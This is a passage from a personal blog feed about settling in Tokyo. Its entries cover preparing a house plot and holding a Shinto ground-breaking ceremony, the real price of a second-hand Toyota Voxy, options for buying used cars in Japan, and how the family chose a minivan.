&lt;p&gt;We considered cutting the grass ourselves, but buying the tools and figuring out the disposal would have been a challenge, so we hired a company to take care of it. We paid 97,350 yen for cutting the grass and covering the land with an anti-weed sheet (防草シート).&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/2025-07-27-caring-for-the-land/anti-weed-sheet.webp#lb&quot; alt=&quot;Land with anti-weed sheet (source: https://www.noukaweb.com/grasssheet-price/)&quot; /&gt;&lt;/p&gt;

&lt;p&gt;This was the state of the land for the next 8 months or so.&lt;/p&gt;

&lt;h1 id=&quot;may-2025-removing-the-sheet&quot;&gt;May 2025: removing the sheet&lt;/h1&gt;

&lt;p&gt;Ichijo asked us to have the sheet removed by 2 weeks before the construction start. Most house makers will take care of this, but apparently Ichijo has their processes streamlined so much, that they ask for an empty land.&lt;/p&gt;

&lt;p&gt;We could have hired a company to remove the sheets, but we decided to do it ourselves. It took only a few hours, including pulling out the weed that has grown out in the gaps at the edge and between the sheets.&lt;/p&gt;

&lt;p&gt;We called the garbage collection company in the city we currently live (Mitaka) and they told us that as long as the sheets don’t contain too much soil, they can be thrown away as burnable trash. So we bagged the sheets up, carried them home on bicycle, and threw them away. I was a bit concerned if our building’s maintenance guy would complain (as he is pretty strict with trash), but he didn’t say anything.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/2025-07-27-caring-for-the-land/bicycle.jpg#lb&quot; alt=&quot;It took me multiple rounds to carry all the trash home&quot; /&gt;&lt;/p&gt;

&lt;h1 id=&quot;may-2025-ceremony-and-final-check&quot;&gt;May 2025: ceremony and final check&lt;/h1&gt;

&lt;p&gt;A week before construction start we visited the land for 2 things: the ground-breaking ceremony and the ground rope marking confirmation.&lt;/p&gt;

&lt;h1 id=&quot;ground-breaking-ceremony-地神祭&quot;&gt;Ground breaking ceremony (地神祭)&lt;/h1&gt;

&lt;p&gt;This is a traditional Shinto ceremony that involves a priest coming to the land to ask the gods of the land for safe construction and the prosperity of the building. It is completely optional, and when I asked Ichijo if their constructions workers cared about having it performed (since the safe construction part affects them), I was told that they don’t care.&lt;/p&gt;

&lt;p&gt;Ichijo offers to help organize it (for a fee of 50,000 yen or so), but in that case the priest would come from some shrine in central Tokyo (that Ichijo has a relationship with). I wanted to do the ceremony with the local shrine since we are moving into the area. Ichijo told us that this is fine, however warned that some smaller shrines will ask the house builder to prepare some of the things for the ceremony, and Ichijo can’t help with that. Luckily our local shrine could handle everything for an overall fee of 45,000 yen.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/2025-07-27-caring-for-the-land/ground-breaking-ceremony.png#lb&quot; alt=&quot;Ground breaking ceremony, according to ChatGPT&quot; /&gt;&lt;/p&gt;

&lt;p&gt;The ceremony took about an hour. The priest was chill and explained what was happening (the prayers are in old Japanese, that most people don’t understand). Part of the ceremony was to symbolically start the construction: the Ichijo guy cut a few pieces of grass (put there intentionally for this), then I got to make the first mark on the ground.&lt;/p&gt;

&lt;p&gt;During the ceremony the priest offered various food and sake to the gods. At the end of the ceremony, we were to drink the sake, which ended up being mainly ceremonial: both the priest and the Ichijo guy came by car and my wife is pregnant, so they only pretended to take a snip, then poured the rest on the ground. The priest also gave us all the vegetables that were offered to the gods and told us that we can eat it later. (It took us a few days to cook and eat them all.)&lt;/p&gt;

&lt;p&gt;After the ceremony I asked which god did he pray for, and he told us that there were actually 6 gods involved today: some general gods known for constructions/houses, gods specific to this area (he looked up the gods for this land based on the address), and gods of his shrine (which are apparently different than the gods of the land, even though it’s a nearby shrine).&lt;/p&gt;

&lt;p&gt;Overall it was a fun experience, and I can recommend it. As with everything related to Shinto, it is more of a tradition rather than a religion, and most Japanese people would claim they don’t believe in it, but yet still do it.&lt;/p&gt;

&lt;h2 id=&quot;a-slightly-related-fun-fact&quot;&gt;A slightly related fun fact&lt;/h2&gt;

&lt;p&gt;Before and during the second Word War, the Japanese government used Shinto to support its war efforts. To prevent this in the future, the constitution (written after the war) implemented strong separation of the state and religion, making it illegal for e.g. the state to give money to any religion. That’s how the &lt;a href=&quot;https://ja.wikipedia.org/wiki/%E6%B4%A5%E5%9C%B0%E9%8E%AE%E7%A5%AD%E8%A8%B4%E8%A8%9F&quot;&gt;Tsu Groundbreaking Ceremony Case&lt;/a&gt; came about: city officials paid for a groundbreaking ceremony on a municipal gymnasium construction, then city council members sued them claiming it to be unconstitutional. The cases ended up going up to the supreme court that in 1977 ruled:&lt;/p&gt;

&lt;blockquote&gt;
  &lt;p&gt;Although it cannot be denied that this groundbreaking ceremony is related to religion, its purpose is purely secular — to pray for the peace and stability of the land and the safety of the construction work upon commencement, and to conduct a ritual in accordance with general social customs. Therefore, its effect is not considered to support, promote, or encourage Shinto, nor to oppress or interfere with other religions. Accordingly, it is reasonable to interpret that it does not constitute a religious activity prohibited under Article 20, Paragraph 3 of the Constitution.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;So there you have it, it is officially a non-religious social custom.&lt;/p&gt;

&lt;p&gt;Btw Woven City, the smart city Toyota is building, also &lt;a href=&quot;https://woven.toyota/en/our-latest/20210223/&quot;&gt;had the same ceremony performed&lt;/a&gt;.&lt;/p&gt;

&lt;h1 id=&quot;ground-rope-marking-地縄張り&quot;&gt;Ground rope marking (地縄張り)&lt;/h1&gt;

&lt;p&gt;On the same day as the ground breaking ceremony, we also got to check the ground rope marking. This is a simple rope installed a day earlier by Ichijo to show the location of the house. After checking that the distance from the sides of the land is as planned, we signed a document to confirm this.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/2025-07-27-caring-for-the-land/ground-rope.png#lb&quot; alt=&quot;Ground rope marking, according to ChatGPT&quot; /&gt;&lt;/p&gt;

&lt;p&gt;I like that this check exists, just to ensure there is no misunderstanding about the location and size of the house. It also feels good that while there is very little I can contribute to the actual construction of the house, double-checking the location is at least something I can do myself.&lt;/p&gt;

&lt;h1 id=&quot;june-2025-construction-begins&quot;&gt;June 2025: construction begins&lt;/h1&gt;

&lt;p&gt;Then in June 2025 the construction began. But details of that is for a different post.&lt;/p&gt;
</content>
 </entry>
 
 <entry>
   <title>The price of a second-hand car in Japan</title>
   <link href="https://szabo.jp/2025/07/22/the-price-of-a-car/"/>
   <updated>2025-07-22T00:00:00+00:00</updated>
   <id>https://szabo.jp/2025/07/22/the-price-of-a-car</id>
   <content type="html">&lt;p&gt;So we &lt;a href=&quot;/2025/07/20/choosing-a-car/&quot;&gt;recently bought a second-hand minivan&lt;/a&gt;. I thought the price of the car will be simple: there might be some negotiation, but otherwise it should be a simple number, right? Well, it’s more complicated.&lt;/p&gt;

&lt;!--break--&gt;

&lt;p&gt;Looking at a listing, it already has two prices:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/2025-07-20-choosing-a-car/voxy.png#lb&quot; alt=&quot;The listing has two prices&quot; /&gt;&lt;/p&gt;

&lt;p&gt;In this case the listing says:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;車両価格 (vehicle price): 239万円 (2.39M yen)&lt;/li&gt;
  &lt;li&gt;諸費用 (other charges): 10.2万円 (102,000 yen)&lt;/li&gt;
  &lt;li&gt;支払総額 (total payment): 249.2万円 (2,492,000 yen)&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;So you’d expect to pay the “total payment” number, right? Except when we called them, the store sent us the following estimate:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/2025-07-22-the-price-of-a-car/first-estimate.png#lb&quot; alt=&quot;The first estimate with a 170,000 yen higher price&quot; /&gt;&lt;/p&gt;

&lt;p&gt;It seems that the total payment listed on the website is the absolute minimum that you have to pay to drive the car off. In reality there are various additional fees for services that the dealership recommends (and most people take), so they include them in the first estimate. Some of these services make sense (e.g. setting up the ETC card reader), some can be skipped (e.g. getting a license plate with a number of your choice), and some are pretty expensive: the majority of that 170k charge is a 152,200 yen coating.&lt;/p&gt;

&lt;p&gt;&lt;em&gt;Sidenote:&lt;/em&gt; we also got a quote for a Honda Freed where the price went from 2,339,000 yen (total payment) to 2,732,290 yen, so the Voxy was pretty good.&lt;/p&gt;

&lt;p&gt;In the end we dropped the coating (152,200 yen), the custom license plate (6,930 yen), the garage certificate handling (18,700 yen) - this is to ask the police to come and confirm that you have a parking spot (but our police is pretty close, so we can just ask them ourselves).&lt;/p&gt;

&lt;p&gt;The one extra  thing that we added was a set of new tires: generally tires are replaced every 5 years, so our car still had the original tires. The sales guy said that it is likely enough to replace them next year at shaken(the mandatory vehicle inspection done every 2 years), but there were some small cuts on them. Also these are summer tires, and not suitable for ski trips. So we decided to have them replaced now, and got new four-season tires for 130,000 yen (which was actually the most expensive tire they had on the list, but the cheapest one was still 110,000 yen).&lt;/p&gt;

&lt;p&gt;We also tried to negotiate, but the sales guy said that the price is fixed, and wouldn’t budge even on the options (although the options were already pretty minimal). We also asked if they could include the next shaken (the mandatory vehicle inspection done every 2 years), as it is coming up a year from now (August 2026), but he also said no to that. (They usually charge 100-150k yen for that, so would have been a good deal  to have it included.) The only place he gave us a discount was the tire, where he dropped the installation fee (normally 13,000 yen).&lt;/p&gt;

&lt;p&gt;So with all of this, in the end we are paying 2,602,620 yen for the car. For a 4 year old minivan with 22k km on the clock with no accident history, I think we got a pretty good deal.&lt;/p&gt;
</content>
 </entry>
 
 <entry>
   <title>How to buy a second-hand car in Japan?</title>
   <link href="https://szabo.jp/2025/07/21/how-to-buy-a-second-hand-car/"/>
   <updated>2025-07-21T00:00:00+00:00</updated>
   <id>https://szabo.jp/2025/07/21/how-to-buy-a-second-hand-car</id>
   <content type="html">&lt;p&gt;So we &lt;a href=&quot;/2025/07/20/choosing-a-car/&quot;&gt;recently bought a second-hand minivan&lt;/a&gt;, and in this post I’ll cover the various options on how one might buy a second-hand car in Japan. (This is based on my limited research, so I could have missed somethings. Feel free to correct me in the comments.)&lt;/p&gt;

&lt;!--break--&gt;

&lt;h1 id=&quot;auctions&quot;&gt;Auctions&lt;/h1&gt;

&lt;p&gt;I didn’t look into this in detail, but apparently this is one of the cheapest way to get a second hand car. But you need to know a lot about cars.&lt;/p&gt;

&lt;h1 id=&quot;friends-facebook-marketplaces-jimoty-mercari&quot;&gt;Friends, Facebook Marketplaces, &lt;a href=&quot;https://jmty.jp/all/car&quot;&gt;Jimoty&lt;/a&gt;, &lt;a href=&quot;https://jp.mercari.com/s/677537&quot;&gt;Mercari&lt;/a&gt;&lt;/h1&gt;

&lt;p&gt;Finding a car this way is still on the cheaper side, as you are buying it directly from the previous owner. But this also means that you have to check the conditions of the car yourself, and do all the paperwork. But at least you can see the previous owner (unlike the auctions).&lt;/p&gt;

&lt;p&gt;Some of these (e.g. Mercari) will charge a fee, and usually provide some service (e.g. conflict resolution). Others (like Facebook Marketplaces) only serve to connect the seller and the buyer, and don’t help with anything else (but they are usually free to use).&lt;/p&gt;

&lt;p&gt;It seems that Mercari is going a step further and &lt;a href=&quot;https://jp-news.mercari.com/car-sales-integration/&quot;&gt;will inspect cars sold on their platform, and also help with the name change process and delivery&lt;/a&gt;. But they charge a service fee of 210,000 yen for this, so the more DIY options will be cheaper.&lt;/p&gt;

&lt;h1 id=&quot;used-car-dealers&quot;&gt;Used car dealers&lt;/h1&gt;

&lt;p&gt;There are companies specialized in selling second hand cars. One can easily search all their stock via sites like &lt;a href=&quot;https://www.carsensor.net/&quot;&gt;CarSensor&lt;/a&gt;, &lt;a href=&quot;https://www.nextage.jp/&quot;&gt;Nextage&lt;/a&gt;, or &lt;a href=&quot;https://www.goo-net.com/&quot;&gt;Goo-Net&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;This is likely a good middle ground: a professional has checked the car, and there might be some warranty as well. However I’m personally concerned about the information asymmetry and misaligned interests: they know much more about the cars than I do, and there is very little stopping them from cheating me. The fact that the then-biggest user car dealer, Big Motor had &lt;a href=&quot;https://en.wikipedia.org/wiki/Big_Motor#Scandals_and_controversies&quot;&gt;a major scandal in 2023&lt;/a&gt; also only reinforces this (they allegedly damaged cars to then charge for their repairs).&lt;/p&gt;

&lt;h1 id=&quot;official-dealerships&quot;&gt;Official dealerships&lt;/h1&gt;

&lt;p&gt;Most car maker’s official dealerships sell second hand cars  too (e.g. &lt;a href=&quot;https://toyota.jp/ucar/&quot;&gt;Toyota&lt;/a&gt;, &lt;a href=&quot;https://www.suzuki.co.jp/ucar/&quot;&gt;Suzuki&lt;/a&gt;). We  decided to go this route for the peace of mind, and because I think this is where the incentives align the best: the other sellers are mainly interested in getting a good deal at a single transaction, but e.g. if an official Toyota dealership would cheat someone, then that person would likely never buy a Toyota again (and also it could turn into a PR disaster for the company).&lt;/p&gt;

&lt;p&gt;Moreover official dealers are also the ones that service most new cars (they upsell people on the maintenance packages), so they know the history of the car. The downside of this is that they will also try to upsell the same maintenance pack when you are buying the second hand car. But this business model of getting people to buy their maintenance packs and to do shaken at their shops also means that they are interested in a long-term relationship which requires happy (or at least not pissed off) customers.&lt;/p&gt;

&lt;p&gt;This all costs money, likely making this option the most expensive one. However the cost gets you a few things. In our case they did the followings for free:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;oil change&lt;/li&gt;
  &lt;li&gt;wiper change&lt;/li&gt;
  &lt;li&gt;battery change&lt;/li&gt;
  &lt;li&gt;AC cleaning and filter change&lt;/li&gt;
  &lt;li&gt;brand new SD card for the drive recorder&lt;/li&gt;
  &lt;li&gt;inside and outside cleaning before showing and before handover&lt;/li&gt;
  &lt;li&gt;1 year warranty included (and another 2 year warranty added for 7,590 yen)&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;I didn’t ask about the details of the warranty, but I assume it is on the condition that we regularly service our car at an official dealership, which likely explains the seemingly low price for it.&lt;/p&gt;

&lt;h2 id=&quot;car-condition-rating&quot;&gt;Car condition rating&lt;/h2&gt;

&lt;p&gt;Official dealerships also provide a rating on the internal and external condition of the car, listing all damages (including very minor ones).&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/2025-07-21-how-to-buy-a-second-hand-car/rating.png#lb&quot; alt=&quot;Our car&apos;s rating (see below for English)&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Our car got the following ratings:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;strong&gt;Overall score:&lt;/strong&gt; 3.5 (out of 6) - “There are some scratches and dents, but it is in relatively good condition”&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;Exterior:&lt;/strong&gt; D (from A(best),B,C,D,E(worst)) - “There are some noticeable scratches and dents.” (but nothing that threatens with rust, only cosmetic issues that don’t have to be fixed)&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;Interior&lt;/strong&gt;: B (from A(best),B,C,D,E(worst)) - “There is little wear or dirt, and the overall condition is good.” - we couldn’t see any issues at all, it looked like brand new for us&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Toyota publishes the meaning of each grade (they call this &lt;a href=&quot;https://ucar.netzfukui.co.jp/feature/hyouka/&quot;&gt;オールトヨタ統一品質評価制度&lt;/a&gt;, All‑Toyota Unified Quality Evaluation System):&lt;/p&gt;

&lt;table&gt;
  &lt;thead&gt;
    &lt;tr&gt;
      &lt;th&gt;Grade&lt;/th&gt;
      &lt;th&gt;Description&lt;/th&gt;
    &lt;/tr&gt;
  &lt;/thead&gt;
  &lt;tbody&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;strong&gt;S&lt;/strong&gt;&lt;/td&gt;
      &lt;td&gt;Almost brand-new: registered less than 1 year ago, under 10,000 km, virtually no wear.&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;strong&gt;6&lt;/strong&gt;&lt;/td&gt;
      &lt;td&gt;Like-new: under 3 years/less than 30,000 km, flawless with no repairs.&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;strong&gt;5&lt;/strong&gt;&lt;/td&gt;
      &lt;td&gt;Excellent: up to 50,000 km, minor imperfections but no repair needed.&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;strong&gt;4.5&lt;/strong&gt;&lt;/td&gt;
      &lt;td&gt;Very good: under 100,000 km, minor scratches or dents that could be easily repaired to bring up to 5.&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;strong&gt;4&lt;/strong&gt;&lt;/td&gt;
      &lt;td&gt;Good overall: noticeable scratches/dents or rust, but still within reasonable condition.&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;strong&gt;3.5&lt;/strong&gt;&lt;/td&gt;
      &lt;td&gt;Slightly worn: multiple scratches or dents, may need moderate repairs.&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;strong&gt;3&lt;/strong&gt;&lt;/td&gt;
      &lt;td&gt;Noticeably worn: visible damage requiring repairs; may have interior stains or fading.&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;strong&gt;2&lt;/strong&gt;&lt;/td&gt;
      &lt;td&gt;Major wear but still drivable—significantly deteriorated condition.&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;strong&gt;1&lt;/strong&gt;&lt;/td&gt;
      &lt;td&gt;Poor condition: flood damage, modified or used as parts car—generally not suitable for drivers.&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;strong&gt;RA / R&lt;/strong&gt;&lt;/td&gt;
      &lt;td&gt;Repair history: frame or structural repairs—still drivable, but not ideal.&lt;/td&gt;
    &lt;/tr&gt;
  &lt;/tbody&gt;
&lt;/table&gt;

&lt;p&gt;The evaluation goes even further and outlines the places where they identified damages, e.g. for our car:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/2025-07-21-how-to-buy-a-second-hand-car/damages.png#lb&quot; alt=&quot;Damages on our car from the evaluation&quot; /&gt;&lt;/p&gt;

&lt;p&gt;After seeing the car in person, I would be hard pressed to find even half of these. Things like “golf-ball size dent” and “touch pen marks of less than 10 cm” is just something I wouldn’t even notice, let alone care about. (Also as a family car, I’m sure we will double the number of these damages in a few years time.)&lt;/p&gt;

&lt;p&gt;Clicking on a damage will show the details. (Some listings will only provide a pdf listing all damages, some will have this interactive view.)&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/2025-07-21-how-to-buy-a-second-hand-car/damages-en.png#lb&quot; alt=&quot;Clicking on a damage will show the details&quot; /&gt;&lt;/p&gt;

&lt;p&gt;The nice thing is that this evaluation is available as part of the listing, so you can check all minor damages before seeing the car in person. Also since this is part of an official certificate that the dealer (or another company? not sure) provides, if later there is another defect discovered, that might be covered under warranty. (So it’s not just the sales person telling you that the car is in top condition, but you get an official paper listing out all known damages.)&lt;/p&gt;

&lt;h2 id=&quot;same-brand-different-companies&quot;&gt;Same brand different companies&lt;/h2&gt;

&lt;p&gt;We learned that most dealerships are independent companies, so e.g. if you buy a second hand car in Honda Tachikawa, then you will have to bring it back to that specific shop for check ups and warranty-related issues. Toyota is different: in Tokyo most shops are under the Toyota Mobility Tokyo (トヨタモビリティ東京) brand (owned by a single company), and you can visit any shop for maintenance and warranty. This also affects second-hand car selection: most shops will only sell the ones available at their location, but Toyota Mobility Tokyo will bring you any car from any other Toyota Mobility Tokyo shop for free, if you are interested. (Other brands might have similar setups, but it is worth checking.)&lt;/p&gt;
</content>
 </entry>
 
 <entry>
   <title>Choosing our family car in Tokyo</title>
   <link href="https://szabo.jp/2025/07/20/choosing-a-car/"/>
   <updated>2025-07-20T00:00:00+00:00</updated>
   <id>https://szabo.jp/2025/07/20/choosing-a-car</id>
   <content type="html">&lt;p&gt;We recently bought a minivan for our family, living in Tokyo. In this post I’ll cover how we chose the type of car that we bought.&lt;/p&gt;

&lt;!--break--&gt;

&lt;h1 id=&quot;summary&quot;&gt;Summary&lt;/h1&gt;

&lt;ul&gt;
  &lt;li&gt;We have a 1.5 year old, and the second baby is on their way, with a third planned&lt;/li&gt;
  &lt;li&gt;We wanted sliding doors to help with the kids.&lt;/li&gt;
  &lt;li&gt;Initially we considered Toyota Roomy/Suzuki Solio, but the storage wasn’t big enough for weekend trips even with one kid&lt;/li&gt;
  &lt;li&gt;One step up, Honda Freed/Toyota Sienta: we liked the space, but 3 kids would be difficult to fit. Also the third row is too close to the back (safety concern and limited storage), and we were missing some must-have options (parking sensor, AC for the second-third row, captain seat in Sienta)&lt;/li&gt;
  &lt;li&gt;So in the end we decided to get a minivan, and ended up buying a second hand Toyota Voxy&lt;/li&gt;
&lt;/ul&gt;

&lt;h1 id=&quot;phase-1-we-dont-need-a-car&quot;&gt;Phase 1: we don’t need a car&lt;/h1&gt;

&lt;p&gt;Before we had kids, we were very happy not having to own a car. We regularly rented cars for short trips (once a month or so), but never felt the need to own our own. We also &lt;a href=&quot;/2021/05/23/times-car/&quot;&gt;used Times Car&lt;/a&gt; fairly often, which further helped  when e.g. we wanted to pick up some furniture from IKEA.&lt;/p&gt;

&lt;h1 id=&quot;phase-2-okay-we-need-a-car&quot;&gt;Phase 2: okay, we need a car&lt;/h1&gt;

&lt;p&gt;After our child was born, we found that having a car would be very convenient. We ended up taking taxi quite frequently (e.g. coming home somewhere on a weekend and taking taxi from the station), and also rented cars more and more often.&lt;/p&gt;

&lt;p&gt;We also learned that life with a baby can be very unpredictable, and it happened multiple times that by the time we decided that we needed a car for the weekend, the Times Cars were all reserved around us. Also while with 2 adults we could pick up the car together, with a baby it is always one of us getting the car, then picking up the other one and the baby at home (where the childseat is).&lt;/p&gt;

&lt;h2 id=&quot;new-or-second-hand&quot;&gt;New or second-hand&lt;/h2&gt;

&lt;p&gt;Since we don’t plan on driving everyday, and neither of us have strong opinions about cars, we decided to go with a second hand car to save on the costs. Our idea was to get something around 3-5 years old, when the initial depreciation is already gone, but it still has up to 10 years in it before any major issues would hit.&lt;/p&gt;

&lt;h1 id=&quot;phase-3-small-car-with-sliding-door&quot;&gt;Phase 3: small car with sliding door&lt;/h1&gt;

&lt;p&gt;After renting various cars, we quickly learned that sliding door helps a lot with the baby (especially in narrow parking spots). So we started looking for a car with sliding doors. Since our family was only 3 people, we started with the smallest non-kei cars (we excluded &lt;a href=&quot;https://en.wikipedia.org/wiki/Kei_car&quot;&gt;kei-cars&lt;/a&gt; due to safety concerns, especially on the highway).&lt;/p&gt;

&lt;p&gt;This left us with two options:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;Suzuki Solio&lt;/li&gt;
  &lt;li&gt;Toyota Roomy (also sold as Daihatsu Thor)&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;They both cost around 2-2.5M yen new, and a 5 year old car with the features we wanted (parking camera, adaptive cruse control) was going for 1.2-1.4M yen.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/2025-07-20-choosing-a-car/suzuki-solio.jpg#lb&quot; alt=&quot;Suzuki Solio that we rented from Times Car&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Then we rented a Suzuki Solio for a weekend trip, and that made us change our mind: first of all the storage space was very small. A small suitcase and a folded up stroller could already barely fit, so it felt that any longer trip or more gear (forget about skis) would be impossible to carry. Moreover the seats just weren’t that comfortable compared to other rentals.&lt;/p&gt;

&lt;p&gt;At the same time my wife got pregnant, so now we are expecting our second child. We are planning to have 3 kids overall, so this also pointed towards getting a bigger car.&lt;/p&gt;

&lt;h1 id=&quot;phase-4-medium-size-car-with-sliding-door&quot;&gt;Phase 4: medium-size car with sliding door&lt;/h1&gt;

&lt;p&gt;We are set on the sliding door, and one size bigger meant these two models:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;Toyota Sienta&lt;/li&gt;
  &lt;li&gt;Honda Freed&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Both of these have 3 rows, and 7 seats in 2+3+2 configuration (though Freed is also available in 2+2+2 with captain seats).&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/2025-07-20-choosing-a-car/sienta.jpg#lb&quot; alt=&quot;The rental Toyota Sienta that we took skiing once&quot; /&gt;&lt;/p&gt;

&lt;p&gt;These would fit 2 kids comfortably and with ample storage space. Also their 3rd row provides 2 extra seats for guests.&lt;/p&gt;

&lt;p&gt;However if we buy a car of this size, it would be nice if it could last long, and with the second baby already on their way, we had to think about fitting 3 kids in 3-4 years time.&lt;/p&gt;

&lt;h2 id=&quot;isofix-and-captain-seats&quot;&gt;ISOFIX and captain seats&lt;/h2&gt;

&lt;p&gt;&lt;a href=&quot;https://en.wikipedia.org/wiki/Isofix&quot;&gt;ISOFIX&lt;/a&gt; is the attachment points where child seats can be installed, and these are usually only available on the 2 side seats of the second row. So thinking about putting 3 kids into the car, two child seats need to go there.&lt;/p&gt;

&lt;p&gt;However child seats (especially for infants) are very wide, so putting 2 of them doesn’t leave enough space in the middle for a third kid (though there are intentionally narrower child seats, but we didn’t look into those in detail). But no problem: the third kid can just sit in the 3rd row, right? Except with the 2 child seats fixed in the second row, it is impossible to reach the third row, as neither side of the second row can be flipped forward.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;The solution&lt;/strong&gt;: captain seats. This configuration means that instead of 3 seats in the third row (in a bench setup), the car only has 2 seats (similar to the first row) leaving enough space in the middle to access the third row.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/2025-07-20-choosing-a-car/captain-seats.png#lb&quot; alt=&quot;Captain seats (source: https://www.v3cars.com/)&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Great! Except captain seats are not available on Toyota Sienta, only on Honda Freed.&lt;/p&gt;

&lt;p&gt;Looking for a second hand Honda Freed that fit our requirements we found that it would cost around 2-2.5M yen for a 3-5 year old car with 30-50k km on the clock.&lt;/p&gt;

&lt;p&gt;So as the next step we rented a Honda Freed to try it.&lt;/p&gt;

&lt;p&gt;The car was great, but with the current summer heat we realized that it is nice to have an AC in the second and third row (instead of having to run the AC in the front at full power). However double AC is an uncommon feature for Honda Freed.&lt;/p&gt;

&lt;p&gt;Moreover thinking about 3 kids and how one of them would be sitting in the 3rd row, we started to worry about the safety, since those seats are very close to the back of the car.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/2025-07-20-choosing-a-car/rear-ended.jpeg#lb&quot; alt=&quot;Another, similar size Honda rear-ended (source: https://www.odyclub.com/) - see how close the seats are to the back?&quot; /&gt;&lt;/p&gt;

&lt;p&gt;This was pushing us towards the idea of starting with a Honda Freed and then changing it to a bigger car once the third kid is born. Then we learned one more thing about Honda Freed: the parking sensor is a paid option, so many second hand cars are missing it. This further pushed us towards getting a full minivan.&lt;/p&gt;

&lt;h1 id=&quot;phase-5-lets-just-get-a-mini-van&quot;&gt;Phase 5: let’s just get a mini van&lt;/h1&gt;

&lt;p&gt;We have rented minivans in the past, and both my wife and I liked driving them, so we started looking for one. The available models that we found were:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;Toyota Noah/Voxy (the two are sibling cars, same base and engine, different design)&lt;/li&gt;
  &lt;li&gt;Nissan Serena&lt;/li&gt;
  &lt;li&gt;Honda Stepwgn&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;There are also more luxurious models like Toyota Alphard/Vellfire, but we care neither about the design nor the bigger engine (higher tax), so the higher price ruled them out from the start.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/2025-07-20-choosing-a-car/noah.jpg#lb&quot; alt=&quot;The rental Toyota Noah that we took on another skiing trip&quot; /&gt;&lt;/p&gt;

&lt;p&gt;On our rentals we preferred the Toyota Noah/Voxy, so started looking at that first. Searching on the second hand websites, I was surprised how many more Noah/Voxy were available, compared to Honda Freeds. Also the prices weren’t that much higher than the Freed: we could easily find multiple nice options around 2.5M yen (so only about 200-300k higher than a comparable Freed).&lt;/p&gt;

&lt;h2 id=&quot;models-trims-and-updates&quot;&gt;Models, trims, and updates&lt;/h2&gt;

&lt;p&gt;My wife took the deep-dive into the various model refreshes, and different trims of Noah/Voxy. I would find a car that looked like a good deal, and she would point out that it was made right before a trim refresh, so while it was only a few months older, it still had the old tech (including safety system), and that’s why it is cheaper than the one few months younger.&lt;/p&gt;

&lt;p&gt;FOr example when we saw a listing like トヨタ ヴォクシー ZS キラメキ2, we searched for the full name, then checked on the Toyota site about the release date: &lt;a href=&quot;https://toyota.jp/ucar/catalog/brand-TOYOTA/car-VOXY/201607/10104917/&quot;&gt;キラメキ2 was released in 2016&lt;/a&gt; but it was sold until 2020, so you could be looking at a 5 years old car, however the tech inside will be almost 10 years old.&lt;/p&gt;

&lt;h2 id=&quot;desired-options&quot;&gt;Desired options&lt;/h2&gt;

&lt;p&gt;In the end we arrived to the following list of options that we wanted to have in the car:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;pilot seats in the second row&lt;/li&gt;
  &lt;li&gt;double AC (dedicated AC for the second row, also cooling the third row)&lt;/li&gt;
  &lt;li&gt;electric sliding doors on both side&lt;/li&gt;
  &lt;li&gt;adaptive cruse control&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;On the condition of the car:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;no accident history&lt;/li&gt;
  &lt;li&gt;non-smoking&lt;/li&gt;
  &lt;li&gt;one previous owner (it is suspicious if a car went through 2 owners in 3-5 years)&lt;/li&gt;
&lt;/ul&gt;

&lt;h2 id=&quot;hybrid-or-not&quot;&gt;Hybrid or not&lt;/h2&gt;

&lt;p&gt;Most cars that we considered (including the minivans) are available in hybrid and gasoline versions. We found that for the Toyota Noah/Voxy, the hybrid ones are usually 300-500k yen more expensive than comparable gasoline models.&lt;/p&gt;

&lt;p&gt;The ongoing costs of owning a hybrid are lower, with the savings coming from two sources:&lt;/p&gt;
